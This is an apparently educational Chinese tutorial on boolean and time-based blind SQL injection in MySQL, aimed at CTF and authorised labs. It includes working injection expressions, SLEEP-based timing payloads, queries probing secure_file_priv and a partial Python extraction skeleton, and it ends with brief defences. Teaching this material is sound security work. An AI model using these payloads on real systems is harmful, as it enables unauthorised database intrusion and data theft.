本文仅用于 CTF、靶场、本机实验和明确授权环境。时间测试应控制延时、并发和请求数量,避免影响环境可用性。

盲注的核心不是“爆破”,而是把看不到的数据改写成一系列能够观察的真假问题。

1. 什么是布尔盲注

页面不显示数据库内容,但条件真假会产生稳定差异:

1
2
条件为真 → 页面出现 Welcome
条件为假 → 页面出现 Not found

在本地靶场中:

1
2
1 AND 1=1
1 AND 1=2

如果两者稳定对应不同页面,就建立了布尔反馈通道。

2. 先找稳定特征

不要只比较完整响应长度,因为页面可能包含随机数、时间戳或动态 Token。

优先寻找:

1
2
3
4
5
6
固定文字是否存在
JSON 中某个字段的值
HTTP 状态码
是否发生重定向
第一条记录是否变化
某个 HTML 节点是否出现

每组真假条件都应重复验证。

3. 判断长度

假设目标是当前数据库名:

1
2
3
LENGTH(DATABASE()) = 4
LENGTH(DATABASE()) > 4
LENGTH(DATABASE()) BETWEEN 1 AND 10

长度函数替代:

1
2
3
4
LENGTH
OCTET_LENGTH
CHAR_LENGTH
BIT_LENGTH / 8

如果目标可能为 NULL,应先判断:

1
target IS NULL

因为 LENGTH(NULL) 返回 NULL,不能和普通空字符串混为一谈。

4. 逐字符判断

1
2
3
4
5
SUBSTRING(DATABASE(),1,1) = 'a'
ASCII(SUBSTRING(DATABASE(),1,1)) = 97
HEX(SUBSTRING(DATABASE(),1,1)) = '61'
DATABASE() LIKE 'a%'
DATABASE() REGEXP '^a'

同一个目标可以通过字符、数字、十六进制或模式比较表达。

5. 二分法

假设字符位于可打印 ASCII 范围 32~126

1
ASCII(SUBSTRING(value,position,1)) > midpoint

每次根据真假舍弃一半范围:

1
2
3
4
5
6
7
8
9
low = 32
high = 126

while low < high:
mid = (low + high) // 2
if target > mid:
low = mid + 1
else:
high = mid

一个字符通常只需约 7 次判断,比逐个枚举高效得多。

6. 二分最容易写错的地方

1
2
3
4
5
6
把 > 和 >= 混用
真分支和假分支更新方向写反
使用闭区间却没有保证每轮收缩
字符位置误从 0 开始
没有处理 NULL
页面判真函数不稳定

在写自动化脚本前,应手工验证一个已知真条件和一个已知假条件。

7. 时间盲注

页面内容完全相同,但条件真假产生稳定耗时差异:

1
IF(condition,SLEEP(2),0)

判断流程:

1
2
3
4
5
测量正常请求分布
→ 重复真条件
→ 重复假条件
→ 比较中位数
→ 选择明显高于网络波动的阈值

单次响应慢不能证明时间盲注。

8. SLEEP 被过滤

先判断失效原因:

1
2
3
4
5
WAF 是否拦截函数名
条件分支是否实际执行
应用是否提前超时
数据库是否为 MySQL
页面是否已经存在布尔或错误反馈

替代顺序:

1
2
3
优先使用布尔反馈
其次使用错误反馈
确实只能依赖时间时,再考虑受控 BENCHMARK

不要使用超大笛卡尔积或高负载表达式制造延时。

9. secure_file_priv 的时间判断示例

secure_file_priv 限制 MySQL 文件导入导出的目录。读取它之前应区分三种状态:

1
2
3
NULL       相关文件能力被禁用
空字符串 不限制到特定目录,但权限仍然有效
目录路径 文件操作被限制在指定目录

9.1 判断 NULL

1
@@global.secure_file_priv IS NULL

9.2 判断长度

1
LENGTH(@@global.secure_file_priv) > 10

9.3 判断第一个字符

1
ASCII(SUBSTR(@@global.secure_file_priv,1,1)) > 64

9.4 转换为时间反馈

1
2
3
4
5
SELECT IF(
ASCII(SUBSTR(@@global.secure_file_priv,1,1)) > 64,
SLEEP(2),
0
);

它只回答一个真假问题,并不会直接返回目录。需要先判断 NULL、再判断长度、最后逐位置二分。

10. MYSQLI_INIT_COMMAND 特殊场景

某些 CTF 题允许用户控制 MySQL 客户端连接选项,其中初始化命令会在连接建立后执行 SQL:

1
2
3
4
5
用户可控连接选项
→ 建立 MySQL 连接
→ 自动执行初始化 SQL
→ 页面没有查询结果
→ 用布尔或时间差侧面观察

这不属于典型的“HTTP 参数拼进 SELECT”,但只要能执行表达式而没有回显,盲注思想仍然适用。

11. 自动化脚本结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def is_true(condition):
"""发送授权靶场请求,根据稳定页面特征返回真假。"""
...

def infer_char(expression, position):
low, high = 32, 126
while low < high:
mid = (low + high) // 2
condition = (
f"ASCII(SUBSTRING(({expression}),{position},1))>{mid}"
)
if is_true(condition):
low = mid + 1
else:
high = mid
return chr(low)

脚本应该保存请求次数、失败重试和原始响应证据,不要把一次超时直接算作真。

12. 常见失败原因

1
2
3
4
5
6
7
8
真条件和假条件都返回其他记录
页面包含随机内容
缓存复用了旧响应
输入被类型转换
比较受 collation 影响
条件被优化器短路
网络抖动大于主动延时
限速或并发限制干扰测量

13. 防御

使用参数化查询;限制数据库账户权限;不允许用户控制连接选项;设置连接和语句超时;监控大量重复条件请求与异常延时。

下一篇整理 WAF 和输入限制:怎样区分拒绝、删除、转义和类型转换,以及空格、引号、逗号、运算符和关键词受限时如何分析。

参考资料